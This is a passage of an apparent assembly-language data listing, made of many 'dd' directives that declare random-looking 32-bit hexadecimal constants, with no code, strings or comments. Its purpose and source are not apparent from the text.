442EEE2Ch dd 9F030981h, 52BFE0C2h, 6EB705F9h, 626B0AF5h, 6D2C6B5Eh dd 0DAD301E1h, 42E4934Ch, 98195769h, 0E22AB072h, 44BDCDD9h dd 98216269h, 2F7D0AB4h, 0BB18C601h, 0C124DCAh, 0A4113829h dd 0BEF3D13Dh, 5CBCD549h, 0B8FA80B9h, 7622097Eh, 931C403Dh dd 4E202B48h, 0D478E935h, 994F515Dh, 5633F2C0h, 28E11DFDh dd 997B305Bh, 0BB6119FDh, 0AA2FCF53h, 53F653C3h, 1F082AB9h dd 5A1ADE61h, 0DC4D0037h, 699D33B5h, 0E4FEB03Eh, 3D8D0A81h dd 721E4D40h, 0ADE40175h, 42164A0Ah, 449B6116h, 4C8328E7h dd 0CAE569FBh, 9A4E490Bh, 5F571170h, 3C3BDD1Dh, 4EDBF5Fh dd 302A5A89h, 5DA1CA50h, 5A37A9B1h, 0F04BF79Dh, 246E3366h dd 821FB350h, 0DE7119F4h, 92FB36BFh, 64A2A602h, 940814DDh dd 10BBBC47h, 241C808h, 8F6BB91Ah, 5706D2B3h, 3AF518F9h dd 30422DC4h, 1E12D66Ch, 0A42362D5h, 57633440h, 9801E026h dd 0AD32D057h, 14C65CA9h, 0B4BB8FB5h, 0AD2CC22Fh, 0AFA8DD5Bh dd 5A9AC96Eh, 7E1E68B3h, 0DC03D447h, 9F7D5DEDh, 9242ECA9h dd 0AEE61A62h, 67596213h, 4DFE8441h, 0D2FABCEh, 604674BDh dd 0A6D20049h, 651E0F0Eh, 92853EAAh, 34510C2Bh, 552F3774h dd 6DE2E7Eh, 7F79D3ADh, 72F9E64Ch, 0BADFDFFDh, 65C629A9h dd 0FCB8DC91h, 0A2ED3007h, 2EDE803Dh, 11C95945h, 69CEFA4Ch dd 5B6E2DB7h, 2A3D2BC7h, 3A10E654h, 5A0FA643h, 0A928FFB2h dd 7DFB6F20h, 833F9DD1h, 2E3B2988h, 6207261h, 723A69B4h dd 0BB85E321h, 228E317Dh, 7099ED55h, 0EC660A5h, 377D145Dh dd 0B4971AE7h, 0DC3605FFh, 0B2DAD910h, 70B40521h, 0B07F90B9h dd 0EAFEAD20h, 6AC4DE9Ah, 96CC2ED1h, 0A04AD25h, 199472ECh dd 41D116BFh, 882D9458h, 1EFACF73h, 0A5E02CB0h, 5A10DDB7h dd 88F90DE1h, 5F3D81BDh, 247E55ADh, 0A2B25867h, 0E416096Eh dd 9019CE57h, 0A425FF4Eh, 847B0C70h, 4201D95Ch, 0B4CC0415h dd 0AD3DF175h, 6BBEE5A9h, 0A140B5B9h, 0DD2061A0h, 3B626DBEh dd 871C49DFh, 0D2AB1143h, 0A6D1DE4Fh, 0BF3C393Dh, 54407C84h dd 837A2F9Dh, 3F398EF4h, 81B3DD63h, 0B3E408E7h, 33C959C7h dd 55D116E6h, 0F25136B3h, 4F46E39Dh, 56E0C010h, 48353879h dd 0EA3084B5h, 26D8B440h, 0B225ED67h, 14C20D82h, 0EAC679E7h dd 377C7965h, 0BCEBA83Ch, 430D3581h, 6B127138h, 0D8314396h dd 0E31ACC31h, 461BC60Ch, 5F1B0336h, 0AE8AB656h, 7D5B933Ah dd 369E5687h, 409C8B1Bh, 0FD566703h, 5896234Ch, 0EB1FF50Ch dd 50BE0C02h, 0E2DEDE1h, 0A613635Ch, 0A09A1988h, 92F62822h dd 9BCE4BA3h, 4DEC2437h, 0CBCDDBD3h, 2CCEB1FCh, 7F8EB299h dd 6A1A281Ah, 4E04391h, 0AE7EA47Ch, 0CF30C630h, 0A0D7D80Eh dd 0A86E843Ch, 0D39953B3h, 40BA5390h, 0CAFD25D1h, 203CE81Dh dd 79AF44D6h, 0B22378B2h, 0FC26A9C2h, 4F4BE61h, 0E5BB9932h dd 19C8CD54h, 9835CC72h, 16B44A5Dh, 63DFEB01h, 945C2438h dd 0C91D2F24h, 1C38D344h, 576BDE76h, 55448C40h, 0B62B0F11h dd 0BE2F0DE6h, 2627AA62h dd 2440E806h, 1BD13928h, 0E1229E86h, 920BE86Ah, 0AEDB3B94h dd 0EBED34CFh, 0B1D0C187h, 2C6B4884h, 0C8669CD3h, 0E317E268h dd 0B4B107B6h, 62E4ABF2h, 40906195h, 7B11930Eh, 0EE2C966Fh dd 0C25B7F4Ah, 0AE8F10B4h, 0A39CA843h, 2FF0FCB9h, 0E73AAB61h dd 0B6C7A2E4h, 0D92E7071h, 3E1EA9B5h, 7063DD1Fh, 0A29839C2h dd 482340FDh, 0A8E0A843h, 0A4477155h, 62309DBDh, 7EC548DDh dd 0E6DD3E10h, 4A3400FDh, 31DEE745h, 720632B1h, 92E151B2h dd 831E32BDh, 8B80ED1Fh, 6A5AE479h, 0AC419F9Ch, 0BACE1211h dd 0CE204271h, 0E7AE92A9h, 646F3265h, 0C2BEA872h, 7F940DA8h dd 0C136A417h, 0F093E074h, 0F812842h, 853FB1A0h, 5AE484F4h dd 278A770Fh, 98E441F5h, 2B128728h, 6247A3FCh, 7F518E60h dd 0B9F89245h, 92BAFDD8h, 34C415F8h, 4C44C4B8h, 684DABE8h dd 8A10BD8Ch, 51ECB74Dh, 0AE686AE6h, 7F492401h, 85070C04h dd 0E32E6EA1h, 0F3552872h, 3A42164Ch, 7AB7C6E0h, 42E10BE1h dd 0D9F50430h, 55525540h, 0D99F3C76h, 7B204A32h, 0C8D15EB9h dd 0EA8885B7h, 0B0287A8Fh, 0E3ACA45Fh, 6370282Ah, 0C070DCD3h dd 0B932E62Fh, 0D45D28A4h, 0C8D48AA9h, 1E32D250h, 0FE596166h dd 305FF5C4h, 0E310F03Ch, 9DB08C27h, 2A399C5h, 6B360971h dd 0C8E4367Dh, 883E4F00h, 0E84B3C23h, 0BA96E709h, 0CACF0E8Ah dd 0FFBAFCF5h, 853B0DD6h, 0AAA67FEFh, 0BF49E8A3h, 0ADBD8907h dd 0B3D30CF5h, 4AF3C65Eh, 71F5081Ch, 2E023BF4h, 0D833E2FCh dd 0E4D7A548h, 1858054Eh, 0B79F9655h, 707C13D0h, 88818A87h dd 7B15A2B1h, 823FA6FFh, 0B3B69B9Bh, 0B409353Eh, 64B567FBh dd 72882858h, 7D5120B3h, 0AA2B5C40h, 4DCDD74Bh, 0B03A0588h dd 676B732Bh, 7EAA45C7h, 0DCD7BA0Dh, 7019DCA9h, 62089303h dd 0B174B947h, 0CA4AA424h, 284F2FB2h, 0C38C8B3h, 0CC59841Bh dd 0AACCCD4Fh, 6E02B4EDh, 6ED12ABBh, 0D7D1A65h, 0AEA84B30h dd 0B4690228h, 42D65DC6h, 18FD397Dh, 0C0D7DD8Dh, 4AF1CD4Eh dd 75DAFD39h, 89DA0DD7h, 2C027CD1h, 0CA580432h, 3D0B0D1Dh dd 4FC33346h, 84932C77h, 0AA1C2BB3h, 8361D591h, 21232A3h dd 739308F1h, 512B606Ch, 3EDD3D01h, 530C9342h, 6FF03AC7h dd 0DF41DEB5h, 35EC8A9Dh, 234463DAh, 0AECA6491h, 599AAE19h dd 9C046C60h, 0A607AAF2h, 6AAF2607h, 7C3EF996h, 6F0156B8h dd 0A6FED475h, 86E6143Ch, 0F24581A3h, 0AD1421h, 0A2888477h dd 0AEC23FB4h, 78E593D7h, 2B812D3Fh, 84131D29h, 6C6B2AFCh dd 2BEDC80Bh, 10BF7DF8h, 0D62AA29Dh, 0B669F3h, 31910410h dd 49263376h, 6028475Eh, 0E6D42FFDh, 26C74F70h, 6A3A72FEh dd 0D51D7556h, 1EAFCF88h, 34F024FBh, 0CACBA4EDh, 3086DDBCh dd 0C43AF681h, 0E9425E3h, 0CA46ED1Fh, 38DBF0DFh, 3E6A9B65h dd 0B0119334h, 0C1EE63ADh, 0C2BB72BDh, 0A2B00442h, 0AB6A213Eh dd 343FDD79h, 9C581782h, 0B5ED39AFh, 0B4E5789Dh, 983B1839h dd 9F78EB05h, 0B0370EA0h, 67BB4B49h, 0D1DEC689h, 293748CEh dd 676C995Ah, 6C753317h, 3BC3FC61h, 309353DAh, 76BDB624h dd 41CE1E3Ch, 0BC9A570Eh, 4623253Dh, 0CBC23BFBh, 0B23331B2h dd 0CF0F9BE1h, 31F052D7h, 3576779Ah, 0EFFD8A65h, 16475783h dd 0A1CEF1F3h, 49294950h, 55592CDBh, 7CA5B5A2h, 69BD1AD3h dd 0AEFED9DAh, 5F172364h, 870618CBh, 4F30F5A6h, 0DDF6B84Ch dd 3BC516E7h, 1BE106FEh, 780E550Eh, 410753DAh, 6DACB92Dh dd 42A22A1Fh, 0CDC7E2EEh, 0CF3F8482h, 0EEB6304Bh, 4A8A3EC1h dd 5E74CD0Dh, 307C78C6h, 3BE81759h, 5158E710h, 0E8D10D1h dd 0A6775144h, 6EE93838h, 5B5EF619h, 0ADFC4A83h, 0B89ACEB0h dd 1C9FD644h, 8C28DC52h, 1F56EE03h, 269C50C7h, 2BBA5544h dd 43CE0CECh, 0BA94583Eh, 0C6F6FF25h, 364FEEFAh, 4C3CC3D7h dd 33A87431h, 0B049932Eh, 0E702A9C5h, 872375E1h, 0B43E074Dh dd 6376B91Dh, 14A1F146h, 0C12A6EBBh, 8B4C0291h, 0A48A4B03h dd 66493002h, 23DE6685h, 3A4A0A72h, 853C5550h, 8FD11F83h dd 2D2C882Ah, 711C2EEEh, 0E2842CFFh, 79CE5123h, 0E79132Bh dd 0D01C8AF5h, 0DF9F1E21h, 556C3BCh, 0AE373329h, 0AECFE1FEh dd 0EA1789D9h, 5C3E70FAh, 0AA32384Ah, 69BA890Bh, 8B2DE394h dd 45EA29FFh, 2F472DEAh, 0BBC7749Ch, 5E48111Ch, 1C9C83D0h dd 59591625h, 51EBB6ADh, 16C0211Fh, 731E277Eh, 0B8DEC310h dd 6B4C4BE0h, 86752C76h, 514F4FF8h, 2E32B176h, 0AF269FAh dd 0D9BF393Ah, 2BDD1411h, 89870209h, 0A28D9003h, 437F2837h dd 963BF575h, 0F911A32Fh, 0ACAD184Ch, 9444C324h, 9886A947h dd 0AB60E141h, 0B11431FAh, 70E9F521h, 0A37869D4h, 382DE34Ch dd 8CCFFE30h, 5600E57Ch, 5A33AF78h, 9C226D07h, 468E99B2h dd 70010C48h, 0DF2F6323h, 48F1CD5Fh, 8E00D542h, 6D033AB8h dd 7E124183h, 4ACDAFF5h, 0B0DC0021h, 0AA34410Ch, 787D3F7Ch dd 12CA4181h, 0FA23577Eh, 0EB8CCA3Dh, 5D220672h, 81BF261h dd 0C6A652B5h, 5675E28Dh, 0E52C633Dh, 0AA2308B0h, 0BC4E7655h dd 782F8F2Fh, 886FADC2h, 0CF036919h, 0BD66C161h, 45EDAB07h dd 0BED04D99h, 3E83A9EFh, 82F1609Bh, 7FD66BE6h, 0FADE5834h dd 0A7745904h, 0DB3573EDh, 152F0FDFh, 153739CCh, 6853FB3Dh dd 0AB4FBEB1h, 13B3D358h, 0CE46C07Dh, 77B61B64h, 0FA3BA85Ch dd 0E0EC1AA4h, 95C513E7h, 0FE15BB56h, 0B54552E7h, 0D8DA4289h dd 0C5AB2B1Bh, 63FB3C77h, 0FAB530D9h, 0E891813Dh, 0D927A545h dd 923B3DF9h, 0A9E1DDA2h, 4D7ACC51h, 605DE293h, 0E52380FEh dd 0CD2FFAADh, 93764955h, 22B75537h, 73439D24h, 87362A7h dd 0C7D89104h, 0DE0EE84Dh, 0AF237715h, 35553DB1h, 3F6B806h dd 946C05D2h, 0B31989B1h, 485EC072h, 32C1012Dh, 5AEB9C49h dd 2235F240h, 0ADFF32B6h, 91AA21B8h, 25410D29h, 12130AE3h dd 4792C65Dh, 99C32BADh, 73404F2Bh, 21356F6Ah, 6576C4EBh dd 0ABE7790Ah, 6DBA6AA9h, 0B97DCB1Fh, 5E1FE69Ah, 438F9D81h dd 2B02687Fh, 79F50863h, 0F4DF588Ah, 276F4FD6h, 3B7E818h dd 0A46DBF78h, 0B75FA40Fh, 217FECDh, 0DE22D0A2h, 8518C3C1h dd 1E0B1C88h, 0F26CA956h, 88E349FBh, 0A5DC9DEBh, 0E24495A5h dd 0EA4202A1h, 6D1EAA74h, 835334F7h, 5FD3992Fh, 8D2F621Bh dd 57393800h, 84DA9A64h, 19872242h, 6DAA3F53h, 72975F0Fh dd 7172E18Eh, 0AD7C4EB1h, 0AD4AB5E8h, 672AD7AEh, 0B12ED65Bh dd 5B641299h, 0E403351h, 0A452DD43h, 90A77DF5h, 0A23711CFh dd 0BD79E42Fh, 0A5F67891h, 83C4229Ah, 90B55128h, 0E0E3695Ah dd 56D16A6Ah, 32510317h, 0ECAB9A9h, 7742342Eh, 30E109BDh dd 16891A0Eh, 45AC7453h, 721352BCh, 96FB348Dh, 576BC885h dd 0B7AD2970h, 0FB6432ADh, 5F7E5CA4h, 836A2C2Bh, 98D8EAFAh dd 454AB459h, 1BB6E99Dh, 3B3BE333h, 73A9E639h, 276A8324h dd 264EA9F9h, 0B5553543h, 6022239Dh, 59A37EACh, 9D1328E1h dd 864D495Ah, 5F31BD87h, 47A14219h, 0BD75511Bh, 0A88222A9h dd 5E707DE1h, 4C7E6EB2h, 0EA3699F9h, 0EE328962h, 236A6DCDh dd 0A6CA4554h, 0AADAE285h, 337EC531h, 52A9107Dh, 420186B9h dd 0DE2682B5h, 0C61529DDh, 0BBBE70ADh, 0CEBA49D5h, 0E28AC38Dh dd 0B344654Ch, 0BBBC8DE5h, 82BAB181h, 356C32Dh, 20EA514Dh dd 22F65D44h, 82B819ADh, 0A9D0D86Ch, 64176D20h, 0D3762DB2h dd 0AC1C0A78h, 8EF41EB4h dd 0AA485F40h, 9F8BD3EEh, 0EB150538h, 3D34679Ah, 9C408887h dd 7B36CB8Dh, 42F12558h, 47326B31h, 9F38D645h, 997C3398h dd 8BF41BCBh, 896F1DF9h, 0C34DDCFDh, 6D5A5195h, 0FE0909E0h dd 0BB6B7FC3h, 0ACEA9210h, 2A0894E1h, 5F5A00B9h, 5DAB69F6h dd 444D0F51h, 1B81C726h, 6CE423A6h, 54E32DCCh, 0FFF41264h dd 0DB31B0FCh, 0C558976h, 0D7F3F15Fh, 7B32DE40h, 61AC791Dh dd 0EE350163h, 38AECCC7h, 9973F18Eh, 23860AA6h, 0A592F520h dd 15CF112Fh, 1471FCFCh, 760C5DEh, 6BEAA6B2h, 0AA873574h dd 0A006B1B7h, 0BE010A06h, 28C308B9h, 0F71A4C02h, 0A2B971AFh dd 6BEC4AB3h, 0D8FC5DDBh, 463CB107h, 418B131Bh, 8DE831C1h dd 3FBD7258h, 0ECDB418Ch, 0D6E7BC13h, 657A88Eh, 52168556h dd 568E1844h, 0E6EC3940h, 31FC4DF8h, 61D553F7h, 5D59AD11h dd 317D58DBh, 4E3863A6h, 8FEB3434h, 62285459h, 0BC4F2C64h dd 0EC624939h, 6CE3E06Ch, 0B3394BA2h, 4247A9E8h, 0CBDEC4BEh dd 0D92C6733h, 8126E365h, 84DD103Bh, 2368AA63h, 0BD76B4F8h dd 4D7CE95Ah, 72703BBCh, 36C22C0Eh, 2B50E0FDh, 11D78194h dd 9ED3378Eh, 0EC77466Ah, 0CDE6851h, 0E42BE145h, 69473FF5h dd 737A2125h, 0CE8282Eh, 653BA3A0h, 65D86F22h, 0BD770D27h dd 0BC325D2Eh, 0BB00EF7Eh, 0BD0C306Ah, 22183153h, 2223B05Fh dd 6224ED4Ah, 0BB396D4Ch, 0E018D3BBh, 45450139h, 0EB29C6FEh dd 753163A2h, 0DED2988Fh, 6D38281Dh, 990E5885h, 9630FE24h dd 17162871h, 6EA93CCBh, 8E68125Dh, 0DBF3197Dh, 56A61873h dd 5EC20CBDh, 2732FB9h, 5A2C93DAh, 6AD20B5h, 0E080890Dh dd 4C1BC9A9h, 5616D19Ah, 0A3DEC17Fh, 6F20CD40h, 5FDFAF53h dd 0DE2E340h, 6A3FAC1h, 9CE9F452h, 4333C559h, 0AC9A204Dh dd 262C290Dh, 0AE222303h, 0EDF40D4h, 0B6F2A463h, 5215DC4Fh dd 0E2201E7h, 0F08FB45Eh, 0E72A6D17h, 9EB723DAh, 0AA42D00Eh dd 692EE0B8h, 811DDDh, 617397C4h, 0FC61E61Bh, 45978D20h dd 0C0FC8527h, 31489DB2h, 0FC5A81BAh, 95693379h, 0EC039FB2h dd 0B9930BB8h, 0D91D8210h, 0EE877151h, 994C51BAh, 65A40506h dd 20272691h, 89DE7404h, 16D511F3h, 3D71455Eh, 0AB4905FFh dd 40BB3585h, 306D5A25h, 0B56F143Ch, 942E5514h, 0E47265D5h dd 0E64FF208h, 11EC93FBh, 0B6C51F47h, 4BB8D061h, 0A606CB4Eh dd 0C0E06966h, 5FE728CEh, 0F4F69DF6h, 0C6F37E61h, 5B78CFC5h dd 0EFFB53EDh, 90AD3B9Dh, 0D70C31C5h, 5CB07030h, 8F2E594Dh dd 93AD399Bh, 2A0230C3h, 4108D261h, 5DF045h, 853C0E99h dd 82820DF1h, 94FB5CAEh, 4377F48h, 2C0B6567h, 42B50696h dd 0BB06E3BFh, 1BC6096Dh, 0C62E5B28h, 9196EA4Ah, 8A19C61h dd 0BB0B40EAh, 26B039F5h, 3C719CADh, 5D2C09B2h, 0BC8D834Fh dd 0A69F1429h, 6A32DE12h, 0B46097C1h, 1A84FCBBh, 0DACF15BFh dd 62426D1Ch, 0E66928BDh, 76CC5568h, 42F8DC38h, 0BF173ABCh dd 0E6ACEC12h, 43A09384h, 2413CB2h, 0AC7A7D0Dh, 6639EA77h dd 9B005F3Bh, 0F84AEBFCh, 0B01EC5E3h, 4158106Dh, 0B989F5A8h dd 62845638h, 2E0391B6h, 4EA0079Dh, 0AB84670Eh, 0A634B9FAh dd 0FC9E8DE8h, 73E563A7h, 4EA86CA6h, 0EB7D0509h, 0A66450F2h dd 0A4870549h, 8C98C580h, 7BDFA94Fh, 0A84525C1h, 4555A867h dd 9BBA7FD9h, 4F59FFB3h, 0B0A25B53h, 10EEA391h, 0CB6FBD39h dd 0A1A70B9Dh, 180AE24Ah, 1734B172h, 0C1C0EC3Fh, 2F85D893h dd 0A2333ACh, 3006CB5Dh, 71E5994Ch, 0AA2EC348h, 232B363Ch dd 8CE62F28h, 969D0BCFh, 0E36A5902h, 822646BFh, 828CB60Eh dd 57F33964h, 0E25F7CA1h, 53452982h, 0AFCC7508h, 32D670A6h dd 2B7D33CCh, 0A776D0C3h, 0A9387951h, 0B972DCEEh, 0A97F69h dd 5C0672B3h, 0B562AB72h, 9D7F6Bh, 5C0E7AB3h, 59A3876Ch dd 0ACDC968Fh, 0B9FF1D81h, 4970F26Dh, 6A41C8BBh, 8A50F774h dd 0F684A911h, 0FB84526h, 7BCEFFC3h, 464A581Ch, 0D75B3B51h dd 995B8449h, 948BF377h, 6271BD79h, 9702DD92h, 177030A2h dd 94FA164Ah, 0EFCABD35h, 4366163Ch, 0B0EB2E7Eh, 33568876h dd 1B3A08B7h, 0A7F3C93Ah, 0BB96C94Dh, 0D7617250h, 0A3488D44h dd 9F097CB8h, 0D64715EDh, 3E32B3FBh, 0C512ABABh, 4CB789E0h dd 0B16BEDABh, 0F462119Dh, 0BD0A29A8h, 70DD8801h, 969285EAh dd 0CFE728DFh, 475AAD34h, 8E499DAAh, 9C76AB70h, 0B34AFC7Ch dd 0BA835E58h, 242EDD44h, 1E0232A4h, 0A9006AE5h, 0A053DDB8h dd 9BA121B8h, 1DD299EBh, 1E752227h, 0DC116095h, 663E60F1h dd 9DD222DCh, 265ADD24h, 73082564h, 0D15EE453h, 0E87F0D41h dd 0D9343229h, 854323B5h, 9703B4F8h, 0DB19FCA2h, 983100E2h dd 96162401h, 86CEBC37h, 0E9C1FE3Fh, 0A6FF3609h, 0D6ACE1DDh dd 5708B632h, 700EADE9h, 6D84E09Dh, 0EDCAA06Eh, 109BBF5Bh dd 0AD2D2FB6h, 17BCEADCh, 8510C1A0h, 0F926C2B3h, 0D4F52F41h dd 0B40DE9h, 4D2725D3h, 1E3937FEh, 6B157482h, 18A6FCF3h dd 2A3F8A4h, 0EFC6F4A9h, 0F49F3F39h, 487A140Bh, 0E90CDD81h dd 4DAC5819h, 503A1B3Ah, 181CDDA3h, 6A36CACDh, 55F0337Fh dd 0ABD13F1Fh, 0DCE524C3h, 0ADB2FF92h, 0E28E369Ah, 74E11C4Eh dd 50FF84A9h, 6FF20E16h, 0A93901C4h, 53270D6h, 0E9A302FEh dd 0D4535D20h, 0D2F8F4E8h, 0AB9BB725h, 313D2Bh, 51D347AEh dd 1306D2A4h, 86490AADh, 0D689B7E8h, 79BA314Eh, 2C26F1C4h dd 5A7A265Bh, 0E209E542h, 9CD0583Bh, 4C6D16AEh, 0ED76330h dd 171A2EEEh, 9EC716BDh, 1C9AE4A4h, 0EC8247A2h, 55F94AA9h dd 0C313378h, 92D68C57h, 0A3F5DDE4h, 7882784Ah, 0BE825EB3h dd 37030C72h, 0FD381B66h, 430DBA1Dh, 0F24178C5h, 0F2C2C0CDh dd 9CB9E7DAh, 42CEF841h, 219C223Dh, 0AF4E9462h, 0C39E963Ah dd 1CCCA420h, 423511E4h, 68C1A3BEh, 9F5969B9h, 0B3253433h dd 0CE199977h, 94386727h, 46FA4980h, 0A9445543h, 6292C6CEh dd 1ADA480Ch, 0F61047B8h, 0A92FAAAFh, 0C722323Bh, 459BC89Ch dd 0DF6FE810h, 286E84FCh, 22744147h, 0CBE23EF2h, 33D41571h dd 9C12CA4Ch, 0DDE51C6Ah, 25F6DE0Ah, 8E86611Dh, 0DC0EE7BBh dd 1D0CDC83h, 1F15A4EFh, 0BEAD92ABh, 5D02C458h, 6309E9A9h dd 3AD107FFh, 4A5AFE98h, 97A331DFh, 6F980ABEh, 41AB1E09h dd 0CCFF474Eh, 2CA2E247h, 7843C8A2h, 0A9D16FA9h, 0D2524F41h dd 23395FABh, 14140011h, 0FEF5E05Bh, 609E0574h, 0FAB46D9Fh dd 2931035Ah, 61238BC6h, 6407E3F2h, 1D27DCC5h, 80F6E5BAh dd 9C083378h, 71053CD6h, 0BE0878ACh, 83B9F0BBh, 118A5305h dd 0A9E9C8FEh, 0AC18CC59h, 0A3BF28C3h, 90313D2Eh, 30F1292Fh dd 78350DE4h, 0EF1C065Eh, 96F239AFh, 836C35F2h, 0F2C4193Dh dd 431B2A34h, 0AE2D8562h, 0D2521AFh, 0DC44AA0Dh, 443E5641h dd 5A273340h, 0D90908C7h, 57AD0E79h, 4D59E3DDh, 52A06BC2h dd 0A9C51C60h, 0FA8222EFh, 0F35F94A1h, 0A9D51BDAh, 17081123h dd 3013B26Dh, 3FAF98B6h, 5D1A096Bh, 0A914F063h, 853A1A42h dd 512607B1h, 0B0445DD5h, 507F7144h, 0BF413A96h, 9ED0E795h dd 4E6D4A5Eh, 0BD3130ECh, 2D4ECA5Eh, 3FE3CB6h, 0C61A35B5h dd 0DCCE2A61h, 823BAE0Ah, 0FCB395Fh, 0D7F252A4h, 9EA3C42Fh dd 58A54921h, 49800439h, 0D46FE11Bh, 879870DFh, 0D681C970h dd 0A21C1377h, 0A590F893h, 0A2AD5A35h, 0BC29AB4Eh, 0B75A985Eh dd 0B0E223B1h, 5C2FED6Ch dd 43313111h, 0F8B2DC6Eh, 663625Fh, 767E644Bh, 0E4813C78h dd 0E53ABB66h, 0DB39CA59h, 7430ACBAh, 1BEF9E62h, 0AB771C9h dd 0E2D85134h, 0F125DEE3h, 9D6527FBh, 2A0DE5F3h, 6858070Eh dd 305B9FB8h, 1F4375C5h, 0E22DFD3Ah, 0ECBFE164h, 2601EE11h dd 1D7FF93Bh, 9E0D8106h, 9117D0B7h, 9E634F8Ch, 0EB18218Bh dd 63FC2E3Dh, 25155B10h, 3B124FDh, 0B2353643h, 0A760A2FBh dd 0E36239Ch, 119953BFh, 64FA038Ah, 0DDE5A6FFh, 7B3EFFB8h dd 71369803h, 143D9071h, 0F38FF20Fh, 912E4D63h, 0CF21EDFFh dd 0F0803A1Bh, 940A210h, 0A0BB009Ah, 0EDEA37Fh, 6C40F940h dd 0F2B015Ch, 0B839C59Ah, 0A56008A0h, 66223421h, 652D1668h dd 0AA855210h, 0E8E4C30Ah, 0EB6EAEh, 620830B1h, 0B3BB12B5h dd 88CE3344h, 0F3D91A7Dh, 3E48C752h, 233BBF0Fh, 4D6EFF4Eh dd 19EB96FDh, 63CABBCh, 0A4125224h, 0DCC1BFFFh, 0E2BDAD87h dd 1C4CEE59h, 46805E47h, 0A236AB24h, 0E0A86E5Fh, 724F6311h dd 0AFF6662Fh, 4CBEABB7h, 457140A1h, 0C6101F71h, 6A38DABBh dd 6FCFC6BEh, 206F90ADh, 6D2D8D7Bh, 0ECA19570h, 9236D648h dd 72C47562h, 0A14123B6h, 0DCF5291Bh, 4BEBE799h, 25333645h dd 0DC053EB8h, 1D022D3Bh, 9E67B085h, 0ED59EFA2h, 660C156Ah dd 8955F1FCh, 24096DCFh, 0AA3EDC5Ah, 5F6813BBh, 9EDB35E4h dd 964B3A55h, 3B39E074h, 1DD2E47Dh, 2737EEC1h, 7613BADEh dd 4B02717Fh, 7AC1769Ah, 0F81AFA8h, 0F2F95FA3h, 33CBCAD8h dd 1FF88C2Eh, 0D6A38465h, 67737C76h, 0EB4D2311h, 3A19051Dh dd 0B2921B63h, 72744EBAh, 0B62E5C8Eh, 0D93201B6h, 0CC70567Dh dd 45560278h, 0A35231B0h, 9EFDACA4h, 7922FE55h, 7F53E46Ch dd 0ABDBDDA3h, 0DD06C452h, 55362724h, 9BE6ECBCh, 0A207A9A1h dd 0B7BAEE20h, 561A21A1h, 9146A5C4h, 4AA24F26h, 702FDEB8h dd 5656D038h, 0ADD05146h, 1FAD2F30h, 42805722h, 0D21A150h dd 6CDAC798h, 4A23BC6Dh, 780C0B4Fh, 0AB3AEDE0h, 4F2BED69h dd 0FE97F25h, 0BCC983B5h, 2EA935FDh, 6E336FFCh, 71D18A6Ah dd 88F2FEB8h, 9257F69Ah, 2AEC732h, 0FAD5699Bh, 83A5B42Bh dd 6A31E328h, 2D1C2689h, 465EE849h, 6A63A658h, 89152867h dd 26612F78h, 7E3AD995h, 0AD634107h, 659DC454h, 575B71FDh dd 2F6DA7C3h, 3AA00D93h, 1AE4890Dh, 1582C9BFh, 17B7B9A8h dd 40A71EA0h, 8AD43F70h, 396A0C9Eh, 0AADF6209h, 0B0F1C355h dd 0BE33AB0Fh, 3D0B3A3h, 4E43D0F4h, 9244F610h, 3B311CF6h dd 0EA0AECBEh, 84113C90h, 3B3C5CBAh, 0F4228BAh, 79ACD190h dd 0ABC20EEBh, 272AC195h, 0B145A768h, 42C02304h, 0E820E05Dh dd 57651981h, 5BAB6D10h, 0F72ACDA2h, 0DBB7D11Fh, 0F9BF0287h dd 0DBE2909Ah, 8380AB1Ah, 0A785D962h, 0B645EE38h, 0A87D5DCBh dd 0AE9058B0h, 42489BB9h, 79EA4D4Bh, 7A8C21D9h, 0C706030Ch dd 565243ACh, 8EC99C4Fh, 0BDB1DED6h, 904949D5h, 5C482606h dd 1A23D3CBh, 0F08792Ah, 0EE1E3A77h, 2B495F21h, 628A493Bh dd 0C2FDDDh, 0DE0160AAh, 94732B9Ah, 0F891535Fh, 0BDCE9423h dd 0D83896C1h, 0A2E2ABA6h, 83B8CC11h, 0A4736F55h, 9503A3AFh dd 623E76BFh, 0B559E6A2h, 0DD155825h, 763B02B6h, 483B16B1h dd 2AE2A10h, 56B62F0Eh, 6733207Dh, 982048B9h, 0EC0B71F6h dd 44DAA312h, 0DAD7178Eh, 56480A46h, 54D8BFA7h, 0AB64E07Ah dd 4FAE49Dh, 0BF7EF8DCh, 0B2A154BEh, 0ABF7A361h, 4C7BADB5h dd 96C60D44h, 55F6DE24h, 2FAD3AAh, 0E105ECB6h, 618E4EB1h dd 17CAA95Eh, 5EE36C4Dh, 0DC715A5Ah, 78F4EB12h, 82EDA31Eh dd 0FB92EE8Eh, 3A86E741h, 0BB2EEF53h, 67800A4Eh, 43DD1943h dd 22F901EEh, 2F47974Dh, 4A8AEA2Fh, 0E88EE474h, 4003B432h dd 83C23D13h, 1C163563h, 3A43ADA0h, 4656D24Dh, 0DEB81EFDh dd 663EE4Bh, 6B44E086h, 92037642h, 3E2A478h, 27C5C4AAh dd 9F0C4BB3h, 0CBEF35D2h, 683312A1h, 0FDCD2D5Dh, 0A8FD377Dh dd 0F0BBE1A4h, 8239BDADh, 0B2EC1D93h, 2E2CDD7Fh, 0BACF0C49h dd 0FEC2C4Dh, 41C50D8Ch, 0E2CF8C2Ch, 19C61AF0h, 553FABDh dd 3F004A58h, 9EFD5A72h, 572A69BDh, 0FCA5F3B9h, 344BDC82h dd 2725A8A3h, 0A5C3E32Eh, 5D6407ACh, 53E930E2h, 4666CFCFh dd 9FDD46D4h, 85FF07C5h, 95C53AF5h, 84AED458h, 0B32ED4BDh dd 0D0183AA0h, 0D91C104Fh, 0A90A74ABh, 4E597B39h, 6997ADEDh dd 292102BCh, 53D8F52Bh, 0DECFA40Ch, 82D11107h, 0A4D2A419h dd 0DA132384h, 0D2CD1AA0h, 0C3EA49ADh, 0B93D2EB2h, 545333CDh dd 0B1CE2FFFh, 0C3304B72h, 943C2D45h, 9BE72ED8h, 0E203397Fh dd 0B55B7BA6h, 0C34167B5h, 0D7203207h, 8DF88FC5h, 52A5FA54h dd 0DF56BFB7h, 83286A68h, 862E4355h, 70EC2A53h, 121D11h dd 0E121F93Ah, 0BEF8FE35h, 703D2DE2h, 0DA50947Fh, 27081E5Dh dd 0FC0CD256h, 0A9570A0Eh, 0A44E4837h, 1E30A98Dh, 11785872h dd 2EED2C43h, 0C93429B9h, 8B112249h, 7348F53Ch, 0B2BB2FE0h dd 47DE4856h, 3A4C197Bh, 0A6EF6187h, 0EC3A60AFh, 95DB7C65h dd 2C49113Dh, 68583523h, 0D2E22D5Bh, 0B6CFA67Ah, 5C423DC8h dd 9D63A267h, 